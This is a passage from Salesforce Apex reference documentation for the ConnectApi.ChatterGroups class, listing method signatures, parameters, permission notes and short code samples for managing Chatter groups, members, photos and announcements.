ConnectApi.ChatterGroup objects. Returns errors embedded in the results for groups that couldnt be loaded.
getGroupMembershipRequest(communityId, requestId)
Returns information about the specified request to join a private group.
getGroupMembershipRequests(communityId, groupId)
Returns information about every request to join the specified private group.
getGroupMembershipRequests(communityId, groupId, status)
Returns information about every request to join the specified private group that has a specified status.
getGroups(communityId)
Returns the first page of all the groups. The page contains the default number of items.
getGroups(communityId, pageParam, pageSize)
Returns the specified page of information about all groups.
getGroups(communityId, pageParam, pageSize, archiveStatus)
Returns the specified page of information about a set of groups with a specified group archive status.
getMember(communityId, membershipId)
Returns information about the specified group member.
getMembers(communityId, groupId)
Get the first page of information about members of a group. The page contains the default number of items.
getMembers(communityId, groupId, pageParam, pageSize)
Get the specified page of information about members of a group.
getMembershipBatch(communityId, membershipIds)
Gets information about the specified list of group memberships. Returns a list of BatchResult objects containing
ConnectApi.GroupMember objects. Returns errors embedded in the results for group memberships that couldnt be accessed.
getMyChatterSettings(communityId, groupId)
Returns the context users Chatter settings for the specified group.
getPhoto(communityId, groupId)
Returns information about the photo for the specified group.
getRecord(communityId, groupRecordId)
Returns information about a record associated with a group.
getRecords(communityId, groupId)
Returns the first page of records associated with the specified group. The page contains the default number of items.

1060

Reference

ChatterGroups Class

getRecords(communityId, groupId, pageParam, pageSize)

Returns the specified page from the list of records associated with a group.
postAnnouncement(communityId, groupId, announcement)
Posts an announcement to the group.
removeRecord(communityId, groupRecordId)
Removes the association of a record with a group.
requestGroupMembership(communityId, groupId)
Requests membership in a private group for the context user.
searchGroups(communityId, q)
Returns the first page of groups that match the specified search criteria. The page contains the default number of items.
searchGroups(communityId, q, pageParam, pageSize)
Returns the specified page of groups that match the specified search criteria.
searchGroups(communityId, q, archiveStatus, pageParam, pageSize)
Returns the specified page of groups that match the specified search criteria and that have the specified archive status.
setBannerPhoto(communityId, groupId, fileId, versionNumber)
Sets the group banner photo to an already uploaded file.
setBannerPhoto(communityId, groupId, fileUpload)
Sets the group banner photo to a file that hasnt been uploaded.
setBannerPhotoWithAttributes(communityId, groupId, bannerPhoto)
Sets and crops an already uploaded file as the group banner photo.
setBannerPhotoWithAttributes(communityId, groupId, bannerPhoto, fileUpload)
Sets the group banner photo to a file that hasnt been uploaded and requires cropping.
setPhoto(communityId, groupId, fileId, versionNumber)
Sets the group photo to an already uploaded file.
setPhoto(communityId, groupId, fileUpload)
Sets the group photo to the specified blob..
setPhotoWithAttributes(communityId, groupId, photo)
Sets and crops an already uploaded file as the group photo.
setPhotoWithAttributes(communityId, groupId, photo, fileUpload)
Sets and crops a binary input as the group photo.
updateGroup(communityId, groupId, groupInput)
Update the settings of a group.
updateGroupMember(communityId, membershipId, role)
Updates the specified group membership with the specified role in the specified community. This method is successful only when
the context user is the group manager or owner, or has Modify All Data permission.
updateMyChatterSettings(communityId, groupId, emailFrequency)
Updates the context users Chatter settings for the specified group.
updateRequestStatus(communityId, requestId, status)
Updates a request to join a private group.
updateRequestStatus(communityId, requestId, status, responseMessage)
Updates a request to join a private group and optionally provides a message when the request is denied.

1061

Reference

ChatterGroups Class

addMember(communityId, groupId, userId)

Adds the specified user to the specified group in the specified community as a standard member. To execute this method, the context
user must be the group owner or moderator.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.GroupMember addMember(String communityId, String groupId,
String userId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupId

Type: String
The ID for a group.
userId

Type: String
The ID for a user.

Return Value
Type: ConnectApi.GroupMember

addMemberWithRole(communityId, groupId, userId, role)

Adds the specified user with the specified role to the specified group in the specified community. To execute this method, the context
user must be the group owner or moderator.

API Version
29.0

Requires Chatter
Yes

1062

Reference

ChatterGroups Class

Signature
public static ConnectApi.GroupMember addMemberWithRole(String communityId, String
groupId, String userId, ConnectApi.GroupMembershipType role)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupId

Type: String
The ID for a group.
userId

Type: String
The ID for a user.
role

Type: ConnectApi.GroupMembershipType
The group membership type. One of these values:
GroupManager
StandardMember

Return Value
Type: ConnectApi.GroupMember

addRecord(communityId, groupId, recordId)

Associates a record with a group.

API Version
34.0

Requires Chatter
Yes

Signature
public static ConnectApi.GroupRecord addRecord(String communityId, String groupId,
String recordId)

Parameters
communityId

Type: String

1063

Reference

ChatterGroups Class

Use either the ID for a community, internal, or null.

groupId

Type: String
ID of the group with which to associate the record.
recordId

Type: String
ID of the record to associate with the group.

Return Value
Type: ConnectApi.GroupRecord

createGroup(communityId, groupInput)
Creates a group.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterGroupDetail createGroup(String, communityId,
ConnectApi.ChatterGroupInput groupInput)

Parameters
communityId

Type: String,
Use either the ID for a community, internal, or null.
groupInput
Type: ConnectApi.ChatterGroupInput

The properties of the group.

Return Value
Type: ConnectApi.ChatterGroupDetail

deleteBannerPhoto(communityId, groupId)
Delete a group banner photo.

1064

Reference

ChatterGroups Class

API Version
36.0

Requires Chatter
Yes

Signature
public static Void deleteBannerPhoto(String communityId, String groupId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupId

Type: String
ID of the group.

Return Value
Type: Void

Usage
This method is successful only when the context user is the group manager or owner, or has Modify All Data permission.

deleteMember(communityId, membershipId)
Deletes the specified group membership.

API Version
28.0

Requires Chatter
Yes

Signature
public static Void deleteMember(String communityId, String membershipId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.

1065

Reference

ChatterGroups Class

membershipId

Type: String
The ID for a membership.

Return Value
Type: Void

Usage
This method is successful only when the context user is the group manager or owner, or has Modify All Data permission.

deletePhoto(communityId, groupId)
Deletes the photo of the specified group.

API Version
28.0

Requires Chatter
Yes

Signature
public static Void deletePhoto(String communityId, String groupId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupId

Type: String
The ID for a group.

Return Value
Type: Void

Usage
This method is only successful when the context user is the group manager or owner, or has Modify All Data permission.

getAnnouncements(communityId, groupId)
Gets the first page of announcements in a group.

1066

Reference

ChatterGroups Class

API Version
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.AnnouncementPage getAnnouncements(String communityId, String
groupId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupId

Type: String
The ID for a group.

Return Value
Type: ConnectApi.AnnouncementPage

Usage
To post an announcement, get information about an announcement, update the expiration date of an announcement, or delete an
announcement, use the methods of the ConnectApi.Announcements class.

getAnnouncements(communityId, groupId, pageParam, pageSize)

Gets the specified page of announcements in a group. You can also specify the page size.

API Version
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.AnnouncementPage getAnnouncements(String communityId, String
groupId, Integer pageParam, Integer pageSize)

1067

Reference

ChatterGroups Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupId

Type: String
The ID for a group.
pageParam

Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.AnnouncementPage

Usage
To post an announcement, get information about an announcement, update the expiration date of an announcement, or delete an
announcement, use the methods of the ConnectApi.Announcements class.

getBannerPhoto(communityId, groupId)
Get a group banner photo.

API Version
36.0

Requires Chatter
Yes

Signature
public static ConnectApi.BannerPhoto getBannerPhoto(String communityId, String groupId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupId

Type: String

1068

Reference

ChatterGroups Class

The ID of the group.

Return Value
Type: ConnectApi.BannerPhoto

getGroup(communityId, groupId)
Returns information about the specified group.

API Version
28.0

Available to Guest Users

31.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterGroupDetail getGroup(String communityId, String groupId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupId

Type: String
The ID for a group.

Return Value
Type: ConnectApi.ChatterGroupDetail

getGroupBatch(communityId, groupIds)
Gets information about the specified list of groups. Returns a list of BatchResult objects containing
ConnectApi.ChatterGroup objects. Returns errors embedded in the results for groups that couldnt be loaded.

API Version
31.0

1069

Reference

ChatterGroups Class

Requires Chatter
Yes

Signature
public static ConnectApi.BatchResult[] getGroupBatch(String communityId, List<String>
groupIds)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupIds

Type: List<String>
A list of up to 500 group IDs.

Return Value
Type: BatchResult[]
The BatchResult.getResult() method returns a ConnectApi.ChatterGroup object.

Example
// Create a list of groups.
ConnectApi.ChatterGroupPage groupPage = ConnectApi.ChatterGroups.getGroups(null);
// Create a list of group IDs.
List<String> groupIds = new List<String>();
for (ConnectApi.ChatterGroup aGroup : groupPage.groups){
groupIds.add(aGroup.id);
}
// Get info about all the groups in the list.
ConnectApi.BatchResult[] batchResults = ConnectApi.ChatterGroups.getGroupBatch(null,
groupIds);
for (ConnectApi.BatchResult batchResult : batchResults) {
if (batchResult.isSuccess()) {
// Operation was successful.
// Print the number of members in each group.
ConnectApi.ChatterGroup aGroup;
if(batchResult.getResult() instanceof ConnectApi.ChatterGroup) {
aGroup = (ConnectApi.ChatterGroup) batchResult.getResult();
}
System.debug('SUCCESS');
System.debug(aGroup.memberCount);
}
else {
// Operation failed. Print errors.

1070

Reference

ChatterGroups Class

System.debug('FAILURE');
System.debug(batchResult.getErrorMessage());
}
}

SEE ALSO:
getMembershipBatch(communityId, membershipIds)

getGroupMembershipRequest(communityId, requestId)
Returns information about the specified request to join a private group.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.GroupMembershipRequest getGroupMembershipRequest(String
communityId, String requestId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
requestId

Type: String
The ID of a request to join a private group.

Return Value
Type: ConnectApi.GroupMembershipRequest

Usage
This method is successful only when the context user is the group manager or owner, or has Modify All Data permission.

getGroupMembershipRequests(communityId, groupId)
Returns information about every request to join the specified private group.

API Version
28.0

1071

Reference

ChatterGroups Class

Requires Chatter
Yes

Signature
public static ConnectApi.GroupMembershipRequests getGroupMembershipRequests(String
communityId, String groupId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupId

Type: String
The ID for a group.

Return Value
Type: ConnectApi.GroupMembershipRequests

Usage
This method is successful only when the context user is the group manager or owner, or has Modify All Data permission.

getGroupMembershipRequests(communityId, groupId, status)

Returns information about every request to join the specified private group that has a specified status.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.GroupMembershipRequests getGroupMembershipRequests(String
communityId, String groupId, ConnectApi.GroupMembershipRequestStatus status)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.

1072

Reference

ChatterGroups Class

groupId

Type: String
The ID for a group.
status

Type: ConnectApi.GroupMembershipRequestStatus
statusThe status of a request to join a private group.

Accepted
Declined
Pending

Return Value
Type: ConnectApi.GroupMembershipRequests

Usage
This method is successful only when the context user is the group manager or owner, or has Modify All Data permission.

getGroups(communityId)
Returns the first page of all the groups. The page contains the default number of items.

API Version
28.0

Available to Guest Users

31.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterGroupPage getGroups(String communityId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.

Return Value
Type: ConnectApi.ChatterGroupPage

1073

Reference

ChatterGroups Class

getGroups(communityId, pageParam, pageSize)

Returns the specified page of information about all groups.

API Version
28.0

Available to Guest Users

31.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterGroupPage getGroups(String communityId, Integer
pageParam, Integer pageSize)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
pageParam

Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.ChatterGroupPage

getGroups(communityId, pageParam, pageSize, archiveStatus)

Returns the specified page of information about a set of groups with a specified group archive status.

API Version
29.0

Available to Guest Users

31.0

1074

Reference

ChatterGroups Class

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterGroupPage getGroups(String communityId, Integer
pageParam, Integer pageSize, ConnectApi.GroupArchiveStatus archiveStatus)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
pageParam

Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
archiveStatus
Type: ConnectApi.GroupArchiveStatus

Specifies a set of groups based on whether the groups are archived or not.
AllAll groups, including groups that are archived and groups that are not archived.
ArchivedOnly groups that are archived.
NotArchivedOnly groups that are not archived.
If you pass in null, the default value is All.

Return Value
Type: ConnectApi.ChatterGroupPage

getMember(communityId, membershipId)
Returns information about the specified group member.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.GroupMember getMember(String communityId, String membershipId)

1075

Reference

ChatterGroups Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
membershipId

Type: String
The ID for a membership.

Return Value
Type: ConnectApi.GroupMember

getMembers(communityId, groupId)
Get the first page of information about members of a group. The page contains the default number of items.

API Version
28.0

Available to Guest Users

36.0

Requires Chatter
Yes

Signature
public static ConnectApi.GroupMemberPage getMembers(String communityId, String groupId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupId

Type: String
The ID for a group.

Return Value
Type: ConnectApi.GroupMemberPage

getMembers(communityId, groupId, pageParam, pageSize)

Get the specified page of information about members of a group.

1076

Reference

ChatterGroups Class

API Version
28.0

Available to Guest Users

36.0

Requires Chatter
Yes

Signature
public static ConnectApi.GroupMemberPage getMembers(String communityId, String groupId,
Integer pageParam, Integer pageSize)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupId

Type: String
The ID for a group.
pageParam

Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: Integer
The number of items per page. Valid values are between 1 and 1000. If you pass null, pageSize is 25.

Return Value
Type: ConnectApi.GroupMemberPage

getMembershipBatch(communityId, membershipIds)
Gets information about the specified list of group memberships. Returns a list of BatchResult objects containing
ConnectApi.GroupMember objects. Returns errors embedded in the results for group memberships that couldnt be accessed.

API Version
31.0

Requires Chatter
Yes

1077

Reference

ChatterGroups Class

Signature
public static ConnectApi.BatchResult[] getMembershipBatch(String communityId,
List<String> membershipIds)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
membershipIds

Type: List<String>
A list of up to 500 group membership IDs.

Return Value
Type: BatchResult[]
The BatchResult getResults() method returns a ConnectApi.GroupMember object.

Example
// Get members of a group.
ConnectApi.GroupMemberPage membersPage = ConnectApi.ChatterGroups.getMembers(null,
'0F9D00000000oOT');
// Create a list of membership IDs.
List<String> membersList = new List<String>();
for (ConnectApi.GroupMember groupMember : membersPage.members){
membersList.add(groupMember.id);
}
// Get info about all group memberships in the list.
ConnectApi.BatchResult[] batchResults = ConnectApi.ChatterGroups.getMembershipBatch(null,
membersList);
for (ConnectApi.BatchResult batchResult : batchResults) {
if (batchResult.isSuccess()) {
// Operation was successful.
// Print the first name of each member.
ConnectApi.GroupMember groupMember;
if(batchResult.getResult() instanceof ConnectApi.GroupMember) {
groupMember = (ConnectApi.GroupMember) batchResult.getResult();
}
System.debug('SUCCESS');
System.debug(groupMember.user.firstName);
}
else {
// Operation failed. Print errors.
System.debug('FAILURE');
System.debug(batchResult.getErrorMessage());

1078

Reference

ChatterGroups Class

}
}

SEE ALSO:
getGroupBatch(communityId, groupIds)

getMyChatterSettings(communityId, groupId)
Returns the context users Chatter settings for the specified group.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.GroupChatterSettings getMyChatterSettings(String communityId,
String groupId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupId

Type: String
The ID for a group.

Return Value
Type: ConnectApi.GroupChatterSettings

getPhoto(communityId, groupId)
Returns information about the photo for the specified group.

API Version
28.0

Requires Chatter
Yes

1079

Reference

ChatterGroups Class

Signature
public static ConnectApi.Photo getPhoto(String communityId, String groupId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupId

Type: String
The ID for a group.

Return Value
Type: ConnectApi.Photo

getRecord(communityId, groupRecordId)
Returns information about a record associated with a group.

API Version
34.0

Requires Chatter
Yes

Signature
public static ConnectApi.GroupRecord getRecord(String communityId, String groupRecordId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupRecordId

Type: String
ID of the group record.

Return Value
Type: ConnectApi.GroupRecord

getRecords(communityId, groupId)
Returns the first page of records associated with the specified group. The page contains the default number of items.

1080

Reference

ChatterGroups Class

API Version
33.0

Requires Chatter
Yes

Signature
public static ConnectApi.GroupRecordPage getRecords(String communityId, String groupId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupId

Type: String
The ID for a group.

Return Value
Type: ConnectApi.GroupRecordPage

getRecords(communityId, groupId, pageParam, pageSize)

Returns the specified page from the list of records associated with a group.

API Version
33.0

Requires Chatter
Yes

Signature
public static ConnectApi.GroupRecordPage getRecords(String communityId, String groupId,
Integer pageParam, Integer pageSize)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupId

Type: String

1081

Reference

ChatterGroups Class

The ID for a group.

pageParam

Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: Integer
The number of items per page. Valid values are between 1 and 1000. If you pass null, pageSize is 25.

Return Value
Type: ConnectApi.GroupRecordPage

postAnnouncement(communityId, groupId, announcement)

Posts an announcement to the group.

API Version
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.Announcement postAnnouncement(String communityId, String
groupId, ConnectApi.AnnouncementInput announcement)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupId

Type: String
The ID for a group.
announcement
Type: ConnectApi.AnnouncementInput

A ConnectApi.AnnouncementInput object.

Return Value
Type: ConnectApi.Announcement

1082

Reference

ChatterGroups Class

Usage
Use an announcement to highlight information. Users can discuss, like, and post comments on announcements. Deleting the feed post
deletes the announcement.
To post an announcement, get information about an announcement, update the expiration date of an announcement, or delete an
announcement, use the methods of the ConnectApi.Announcements class.

removeRecord(communityId, groupRecordId)
Removes the association of a record with a group.

API Version
34.0

Requires Chatter
Yes

Signature
public static Void removeRecord(String communityId, String groupRecordId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupRecordId

Type: String
ID of the group record.

Return Value
Type: Void

requestGroupMembership(communityId, groupId)
Requests membership in a private group for the context user.

API Version
28.0

Requires Chatter
Yes

1083

Reference

ChatterGroups Class

Signature
public static ConnectApi.GroupMembershipRequest requestGroupMembership(String
communityId, String groupId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupId

Type: String
The ID for a group.

Return Value
Type: ConnectApi.GroupMembershipRequest

Sample: Requesting to Join a Private Group

This sample code calls ConnectApi.ChatterGroups.requestGroupMembership to request to join a private group.
String communityId = null;
ID groupId = '0F9x00000000hAZ';
ConnectApi.GroupMembershipRequest membershipRequest =
ConnectApi.ChatterGroups.requestGroupMembership(communityId, groupId);

searchGroups(communityId, q)
Returns the first page of groups that match the specified search criteria. The page contains the default number of items.

API Version
28.0

Available to Guest Users

31.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterGroupPage searchGroups(String communityId, String q)

1084

Reference

ChatterGroups Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Type: String
qSpecifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
Can be specified as null.

Return Value
Type: ConnectApi.ChatterGroupPage

searchGroups(communityId, q, pageParam, pageSize)

Returns the specified page of groups that match the specified search criteria.

API Version
28.0

Available to Guest Users

31.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterGroupPage searchGroups(String communityId, String q,
Integer pageParam, Integer pageSize)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.

1085

Reference

ChatterGroups Class

Type: String
qSpecifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
Can be specified as null.
pageParam

Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.ChatterGroupPage

searchGroups(communityId, q, archiveStatus, pageParam, pageSize)

Returns the specified page of groups that match the specified search criteria and that have the specified archive status.

API Version
29.0

Available to Guest Users

31.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterGroupPage searchGroups(String communityId, String q,
ConnectApi.GroupArchiveStatus archiveStatus, Integer pageParam, Integer pageSize)

1086

Reference

ChatterGroups Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Type: String
qSpecifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
Can be specified as null.
archiveStatus
Type: ConnectApi.GroupArchiveStatus
archiveStatus Specifies a set of groups based on whether the groups are archived or not.

AllAll groups, including groups that are archived and groups that are not archived.
ArchivedOnly groups that are archived.
NotArchivedOnly groups that are not archived.
pageParam

Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.ChatterGroupPage

setBannerPhoto(communityId, groupId, fileId, versionNumber)

Sets the group banner photo to an already uploaded file.

API Version
36.0

Requires Chatter
Yes

1087

Reference

ChatterGroups Class

Signature
public static ConnectApi.BannerPhoto setBannerPhoto(String communityId, String groupId,
String fileId, Integer versionNumber)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupId

Type: String
The ID of the group.
fileId

Type: String
The ID of the already uploaded file. The key prefix must be 069, and the image must be smaller than 8 MB.
versionNumber

Type: Integer
Version number of the existing file. Specify either an existing version number or, to get the latest version, specify null.

Return Value
Type: ConnectApi.BannerPhoto

Usage
This method is successful only when the context user is the group manager or owner, or has Modify All Data permission.
Photos are processed asynchronously and may not be visible right away.

setBannerPhoto(communityId, groupId, fileUpload)

Sets the group banner photo to a file that hasnt been uploaded.

API Version
36.0

Requires Chatter
Yes

Signature
public static ConnectApi.BannerPhoto setBannerPhoto(String communityId, String groupId,
ConnectApi.BinaryInput fileUpload)

1088

Reference

ChatterGroups Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupId

Type: String
The ID of the group.
fileUpload
Type: ConnectApi.BinaryInput

A file to use as the photo. The content type must be usable as an image.

Return Value
Type: ConnectApi.BannerPhoto

Usage
This method is successful only when the context user is the group manager or owner, or has Modify All Data permission.
Photos are processed asynchronously and may not be visible right away.

setBannerPhotoWithAttributes(communityId, groupId, bannerPhoto)

Sets and crops an already uploaded file as the group banner photo.

API Version
36.0

Requires Chatter
Yes

Signature
public static ConnectApi.BannerPhoto setBannerPhotoWithAttributes(String communityId,
String groupId, ConnectApi.BannerPhotoInput bannerPhoto)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupId

Type: String
The ID of the group.

1089

Reference

ChatterGroups Class

bannerPhoto
Type: ConnectApi.BannerPhotoInput

A ConnectApi.BannerPhotoInput object that specifies the ID and version of the file, and how to crop the file.

Return Value
Type: ConnectApi.BannerPhoto

Usage
This method is successful only when the context user is the group manager or owner, or has Modify All Data permission.
Photos are processed asynchronously and may not be visible right away.

setBannerPhotoWithAttributes(communityId, groupId, bannerPhoto, fileUpload)

Sets the group banner photo to a file that hasnt been uploaded and requires cropping.

API Version
36.0

Requires Chatter
Yes

Signature
public static ConnectApi.BannerPhoto setBannerPhotoWithAttributes(String communityId,
String groupId, ConnectApi.BannerPhotoInput bannerPhoto, ConnectApi.BinaryInput
fileUpload)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupId

Type: String
The ID of the group.
bannerPhoto
Type: ConnectApi.BannerPhotoInput

A ConnectApi.BannerPhotoInput object specifying the cropping parameters.

fileUpload
Type: ConnectApi.BinaryInput

A file to use as the photo. The content type must be usable as an image.

1090

Reference

ChatterGroups Class

Return Value
Type: ConnectApi.BannerPhoto

Usage
This method is successful only when the context user is the group manager or owner, or has Modify All Data permission.
Photos are processed asynchronously and may not be visible right away.

setPhoto(communityId, groupId, fileId, versionNumber)

Sets the group photo to an already uploaded file.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.Photo setPhoto(String communityId, String groupId, String
fileId, Integer versionNumber)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupId

Type: String
The ID for a group.
fileId

Type: String
ID of a file already uploaded. The key prefix must be 069, and the file must be an image that is smaller than 2 GB.
versionNumber

Type: Integer
Version number of the existing file. Specify either an existing version number or, to get the latest version, specify null.

Return Value
Type: ConnectApi.Photo

Usage
This method is successful only when the context user is the group manager or owner, or has Modify All Data permission.

1091

Reference

ChatterGroups Class

Photos are processed asynchronously and may not be visible right away.

Sample: Updating a Group Photo with an Existing File

When a group is created, it doesnt have a group photo. You can set an existing photo that has already been uploaded to Salesforce as
the group photo. The key prefix must be 069 and the file size must be less than 2 GB.
String communityId = null;
ID groupId = '0F9x00000000hAK';
ID fileId = '069x00000001Ion';
// Set photo
ConnectApi.Photo photo = ConnectApi.ChatterGroups.setPhoto(communityId, groupId, fileId,
null);

setPhoto(communityId, groupId, fileUpload)

Sets the group photo to the specified blob..

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.Photo setPhoto(String communityId, String groupId,
ConnectApi.BinaryInput fileUpload)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupId

Type: String
The ID for a group.
fileUpload
Type: ConnectApi.BinaryInput

A file to use as the photo. The content type must be usable as an image.

Return Value
Type: ConnectApi.Photo

1092

Reference

ChatterGroups Class

Usage
This method is successful only when the context user is the group manager or owner, or has Modify All Data permission.
Photos are processed asynchronously and may not be visible right away.

Sample: Uploading a New File and Using it as a Group Photo

When a group is created, it doesnt have a group photo. You can upload a photo and set it as the group photo.
String communityId = null;
ID groupId = '0F9x00000000hAP';
ID photoId = '069x00000001Ioo';
// Set photo
List<ContentVersion> groupPhoto = [Select c.VersionData From ContentVersion c where
ContentDocumentId=:photoId];
ConnectApi.BinaryInput binary = new ConnectApi.BinaryInput(groupPhoto.get(0).VersionData,
'image/png', 'image.png');
ConnectApi.Photo photo = ConnectApi.ChatterGroups.setPhoto(communityId, groupId, binary);

setPhotoWithAttributes(communityId, groupId, photo)

Sets and crops an already uploaded file as the group photo.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.Photo setPhotoWithAttributes(String communityId, String groupId,
ConnectApi.PhotoInput photo)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupId

Type: String
The ID for a group.
photo

Type: ConnectApi.PhotoInput
A ConnectApi.PhotoInput object that specifies the ID and version of the file, and how to crop the file.

1093

Reference

ChatterGroups Class

Return Value
Type: ConnectApi.Photo

Usage
This method is successful only when the context user is the group manager or owner, or has Modify All Data permission.
Photos are processed asynchronously and may not be visible right away.

setPhotoWithAttributes(communityId, groupId, photo, fileUpload)

Sets and crops a binary input as the group photo.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.Photo setPhotoWithAttributes(String communityId, String groupId,
ConnectApi.PhotoInput photo, ConnectApi.BinaryInput fileUpload)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupId

Type: String
The ID for a group.
photo

Type: ConnectApi.PhotoInput
A ConnectApi.PhotoInput object that specifies how to crop the file specified in fileUpload.
fileUpload
Type: ConnectApi.BinaryInput

A file to use as the photo. The content type must be usable as an image.

Return Value
Type: ConnectApi.Photo

Usage
This method is successful only when the context user is the group manager or owner, or has Modify All Data permission.

1094

Reference

ChatterGroups Class

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updateGroup(communityId, groupId, groupInput)

Update the settings of a group.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterGroup updateGroup(String communityId, String groupId,
ConnectApi.ChatterGroupInput groupInput)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupId

Type: String
The ID for a group.
groupInput
Type: ConnectApi.ChatterGroupInput

A ConnectApi.ChatterGroupInput object.

Return Value
Type: ConnectApi.ChatterGroup

Usage
This method is successful only when the context user is the group manager or owner, or has Modify All Data permission. Use this
method to update any settings in the ConnectApi.ChatterGroupInput class. These settings include the group title and text
in the Information section, whether the group is public or private, and whether the group is archived.

Example
This example archives a group:
String groupId = '0F9D00000000qSz';
String communityId = null;
ConnectApi.ChatterGroupInput groupInput = new ConnectApi.ChatterGroupInput();

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Reference

ChatterGroups Class

groupInput.isArchived = true;
ConnectApi.ChatterGroups.updateGroup(communityId, groupId, groupInput);

updateGroupMember(communityId, membershipId, role)

Updates the specified group membership with the specified role in the specified community. This method is successful only when the
context user is the group manager or owner, or has Modify All Data permission.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterGroup updateGroupMember(String communityId, String
membershipId, ConnectApi.GroupMembershipType role)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
membershipId

Type: String
The ID for a membership.
role

Type: ConnectApi.GroupMembershipType
The group membership type. One of these values:
GroupManager
StandardMember

Return Value
Type: ConnectApi.ChatterGroup

updateMyChatterSettings(communityId, groupId, emailFrequency)

Updates the context users Chatter settings for the specified group.

API Version
28.0

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Reference

ChatterGroups Class

Requires Chatter
Yes

Signature
public static ConnectApi.GroupChatterSettings updateMyChatterSettings(String communityId,
String groupId, ConnectApi.GroupEmailFrequency emailFrequency)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
groupId

Type: String
The ID for a group.
emailFrequency
Type: ConnectApi.GroupEmailFrequency
emailFrequencySpecifies the frequency with which a user receives email from a group.

EachPost
DailyDigest
WeeklyDigest
Never
UseDefault
